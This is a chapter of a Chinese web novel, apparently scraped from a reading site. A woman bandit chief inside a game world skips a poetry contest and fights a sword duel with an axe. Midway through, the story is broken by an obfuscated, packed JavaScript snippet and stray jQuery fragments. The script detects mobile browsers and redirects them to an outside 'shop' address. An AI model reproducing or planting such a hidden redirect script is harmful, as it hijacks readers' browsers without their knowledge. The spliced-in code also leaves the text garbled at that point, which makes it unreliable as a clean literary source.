默认冷灰
24号文字
方正启体

14. 014 高贵的打工人

作者:紫然君本书字数:K更新时间:
    宴会开始之后,席上涌来许多婢女分送水果糕点。


    山姒和微子启面对面坐着,不管对方做什么她都看得清楚。


    山姒拿起果盘里的一个苹果,抬眼看见微子启正没骨头一样撑着脑袋,慵懒地对着空气启唇。


    美人巧笑倩兮地用手朝他扔了一颗葡萄。


    微子启用嘴唇接住,靠在桌面上咀嚼。


    美人用手掩唇,哄小孩一样:“殿下真厉害。”


    山姒:“……”


    月来也拿起盘里的一块蜜瓜递到山姒嘴边。


    山姒偏了一下头,咬进嘴里,把蜜瓜咬得咯吱响。


    月来笑得肩膀直颤,低下头夹着声音在她耳边说:“老大好厉害~”


    山姒:“鸭鸭,不要学那么幼稚的东西。”


    武锦意一脸不赞成地望过来:“姐姐,女儿家吃东西要细嚼慢咽,不能发出声音。”


    山姒“哦”一声,幼稚地继续把蜜瓜嚼得咯吱响。


    再一抬眼,微子启勾起美人的下巴,言语暧昧地说:“这里人多不方便,我们走吧。”


    他搂住美人的细腰,在众目睽睽之下站起,长袖从山姒眼前晃过,没给她留下一个眼神。


    山姒好奇地用眼神追着他们的身影,直到看到他们一起进了一个客房。


    席上顿时响起一片唏嘘声,山姒收获到了几个同情的眼神。


    月来对山姒清了清嗓子:“小姐,我们也走吧。”


    山姒茫然抬头:“我们去哪?”


    月来仰起下巴:“擂台赛已经开始了,你不是要大杀四方吗?”


    经月来一提醒,山姒才注意到远处的平地上聚了不少人群,正传来一些嬉笑声。


    说起正事,山姒立刻站起来:“走!”


    “姐姐。”武锦意在身后温声细语地叫住她。


    山姒回头时,看到她欲言又止:“如果您输了也没关系的,爹爹说了,您大可以对大殿下反悔,说你们的赌约只是个儿戏。”


    那不就是输了就耍赖吗?


    山姒是三岁小孩的时候都没干过这样的事。


    她皱眉,对武锦意摇头:“你放心吧,我不会输的。”


    山姒在打架这件事上几乎没有输过,所以她有足够的自信和从容。


    这就好比猫自信自己一定能捉到老鼠,狼相信自己一定能吃到羊,是不容置疑的。


    可当山姒看到所谓擂台赛的轮廓时,她的自信有了不可缝补的裂缝。


    山姒对着月来转头:“你们京城里的擂台赛是这样的啊?”


    只见场上没有武器,也没有搏斗台,只有一张木桌摆着笔墨纸砚,几个姑娘边谈笑边研着磨,气氛轻松且和谐。


    原来他们所谓的擂台赛,是文斗吗?


    怪不得武谓云会说比起山姒他更放心武锦意,也怪不得武锦意一副料定了她会输的样子。


    山姒悟了。


    月来歪头不解:“老大,有什么问题吗?”


    山姒的脸色迷茫中带着三分凝重:“我以为的擂台赛,是动刀动枪的那种。”


    她们山寨里的擂台赛都是这样的啊。


    她一个土匪头子怎么会吟诗作对?她文盲来的。


    月来惊讶眨眼:“啊?贵女们被要求大门不出二门不迈,怎么会学舞刀弄枪呢?”


    山姒遗憾扼腕:“我以为追求强大是每个人的热爱呢。”


    “没关系。”这回换月来安慰山姒了,她自信地拍拍胸口,“进入游戏前我特地背了几首古诗,交给我吧。”


    她越讲越兴奋:“你不知道吗老大?诗会可是古韵的热门玩点之一,网友攻略里必打卡的项目,这可是必出风头的时候,有我在你放心吧!”


    “嗯……”山姒沉吟一瞬,指了指擂台桌边上的挂联,对月来说,“或许你看看那个呢?”


    顺着山姒手指的方向,只见场上挂着一个“好诗好词鉴赏”。


    [春眠不觉晓,处处闻啼鸟。——南巷豆腐西施


    晨兴理荒秽,带月荷锄归。——醉仙楼小二张三


    忽如一夜春风来,千树万树梨花开。——福英巷打铁老王]


    月来的目光刚扫过去就僵住了,嘴巴微张着:“……怎会如此?“


    一个店小二在那“理荒秽”、“荷锄归”,就没有人发现不对劲吗?


    山姒安慰地拍了拍她的肩膀:“不奇怪,既然是热门的事情,肯定已经有许多‘前辈’实践过了。”


    保不齐唐诗三百首已经被“前辈们”里里外外抠了个干净,她们盲目盗用,恐怕会招来抄袭的骂名。


    月来的嘴角耷拉了下来:“上面有些诗我甚至还没学到,我帮不了你了,老大。”


    山姒本就没指望靠作弊获胜,顺口问了一句:“你还在上学?“


    游戏外的现实中,大多数工作都由人工智能承担,社会劳作不再成为人类的必要义务,官方会保障他们基础的的衣食住行。


    只有某方面格外出色的人会获得工作,实现阶级跨越,获得诸如旅游、购买奢侈品等更高级别的享受。


    而没有工作的人一生都经受义务教育。


    月来点头:“我今年大六,老大你呢?”


    山姒默默抬起下巴,超经意地强调道:“我从十八岁就有工作了。”


    月来张大嘴巴,眼神里满是崇拜:“好厉害!”


    十八岁就脱离了无边的学习苦海,成为了高贵的打工人,不愧是天才中的天才,老大中的老大!


    山姒在月来崇拜的目光中,忽然敏锐地听到了一声刀剑相接的声音。


    她目光朝声源处扫去,看到不远处有高高扬起的彩旗。


    “那是什么?“


    月来跟着她望过去:“刚刚路上我听到有人在讨论,那是男子那边的擂台赛。”


    怪不得这边研磨的都是女子,原来擂台赛还分男女两边呢。


    山姒的神情又活了,她招呼月来:“那边才是我想象中的擂台赛嘛,鸭鸭,我们走。”


    月来愣住:“可是老大,女子的擂台赛在这边呀。”


    姑娘们真可怜,规矩了一生,能参加的擂台赛都那么安分。


    山姒在心里嘀咕,口中说:“赌约只说要我赢下三场擂台赛,可没规定是哪个擂台赛。”


    说完,她便挥着袖子,张扬地朝着男子那边踏去。


    月来想想也是,狼狈为奸地紧紧跟在山姒身后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275279|198209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    男子的擂台赛和女子这边其实隔得并不远,但一方安逸一方喧闹,仿佛两个世界。


    更不同的是,男子的擂台赛是真有擂台的,平地上被搭了一个竹架,两旁摆了刀剑和弓弩各种武器。


    在山姒一本正经地踩上竹架后,周旁男子齐齐一愣,随后默契地发出一声哄笑。


    “这位小姐莫不是走错了地方?”


    “这是哪家小姐,我怎么没有印象?”


    “是那位……武小姐啊。”


    说话者在“那位”二字上意味深长地咬了重音,山姒料想,这些日子她肯定是这群公子哥茶余饭后的玩笑。


    山姒并未搭理他们,只是看向台上的另一个人——握着一把剑安静立着的虞尚。


    怪不得他方才去换了衣服,他握剑而立,凝脂色束袖曳撒简约利落,与擂台场相得益彰。


    她问他:“虞公子,打吗?”


    台下的声音比虞尚的回答先一步响起来。


    “好男儿怎么能与女人动手?”


    “输了没面子,赢了也没面子。”


    虞尚对台下议论置若未闻,轻笑一声,温声道:“擂台之上,不应战与认输何异?武小姐,选武器吧。”


    山姒点头,眼睛在武器架上一扫,按照顺手程度选了一把斧头。


    比她的青山斧新,却不如她的青山斧利,对于山姒而言,也足够了。


    她把斧头提起来,台下的笑声更加放肆。


    “这是什么武器?她怕是不知道那是挂在架上滥竽充数的吧?”


    “她连擂台赛是什么都不知道吧?莫不是看着有趣才上来玩闹一番?”


    “虞公子,可要怜香惜玉手下留情啊。”


    山姒对流言暗嗤一声,并未回头,径直看向对面的虞尚:“虞公子,来吧。”


    山姒虽然人莽,但尚有理智。


    她知道以自己的身份,若暴露出武艺高强不免惹人怀疑,所以她压抑着自己的身手,只表现出恰好比对方略胜一筹的功力。


    当山姒的斧头与虞尚的剑相接时,她心里有了数,默默多使了一分力。


    这虞质子看着温温柔柔,原来也不是花架子。


    当山姒的手肘和虞尚的剑柄相撞时,她察觉到对方的力松了许多,于是也默默减了一分力。


    力气用完了吗?


    山姒将斧头一横,与虞尚的剑刃再次撞上,这次的冲击力比第一次有过之而无不及,她默默添了一分力。


    在冲刺?


    山姒循序渐进地试探,虽然对方的招数一直在变,她的应付也算得上游刃有余。


    台下的人见她真能挥得动粗重的斧头,还操控得有模有样,个个看呆了,闲言碎语慢慢停了。


    最惊讶的莫过于和她交手的虞尚,他抬起眸子:“武小姐怎么会有这样的身手?”


    山姒面对这样的问题还是心虚,她的实力全源于她不是真正的武钢铁。


    她干巴巴地答了一句:“兴趣是最好的老师。”


    接着,她斧尖一挑,虞尚别在耳侧的一朵花饰被打落在地。


    花瓣摔碎在地面,零落一地艳色,虞尚耳侧的一缕头发也顺着肩头滑落下来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)